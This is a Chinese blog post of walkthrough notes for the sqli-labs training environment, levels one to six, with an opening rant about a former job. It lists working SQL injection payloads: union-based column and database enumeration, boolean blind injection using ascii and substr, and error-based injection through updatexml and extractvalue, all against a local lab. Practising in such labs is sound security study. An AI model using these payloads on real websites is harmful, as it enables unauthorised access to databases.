sqli-lib通关笔记

  因为好久都没有联系过SQL注入了,打算重新拾起渗透方向的能力,去他妈的运维,老子才不要做运维,被傻逼公司给骗了,当了一年的运维,白白浪费了一年。

第一关

先查看一下代码:

 

真正的关于注入的核心语句就只有中间的select查询语句,一是先看是什么闭合,第二再看有没有过滤

没有任何的过滤,然后是单引号闭合。

构建注入语句:1' and 1=2 -- qwe

 发现结果报错,说明该已经正确闭合,接下来就是常规操作

1' order by 3 -- qwe

1' union select 1,2,3 -- qwe

-1' union select 1,database(),3 -- qwe

第二关

很简单的数字类型的注入

?id=1 and 1=2

第三关

单引号括号注入

?id=1') and 1=2 -- qwe

第四关

双引号括号注入

1") and 1=2 -- qwe

第五关

布尔盲注

 不会查出我们具体想要的数据,只会显示True OR False

思路就是先根据回显出的布尔类型的数值,然后找到闭合,然后通过爆破找到想要的内容

单引号闭合 id=1' and 1=2 -- qwe

就不会有任何回显,目的是要让页面的回显发生变化

127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>100 -- qwe

先用子查询查出database数据库的名称,然后用截取的函数将这个数据库进行截取,先从第1个截取长度为1,然后对该字符进行ascii编码,最后进行比较,如果大于该数就会有回显

还可以使用报错注入:

1、updatexml()

updatexml(1,0x7e,1) 第二个字符处插入特殊字符后会进行报错,当然是在页面能回显(mysql_error)的前提下

所以可以使用concat将0x7e和要查询的字符链接起来

?id=1' and updatexml(1,concat(0x7e,database()),1) -- qwe

就可以将数据库的名称查询出来

2、extractvalue(目标xml文档,xml路径)

?id=1' and extractvalue(1,concat(0x7e,(select database()))) -- qwe

第六关

和第五关一样,不过是双引号闭合

 第七关

 

posted on 2023-05-22 17:29  Jeshua-Z  阅读(109)  评论(0)    收藏  举报

导航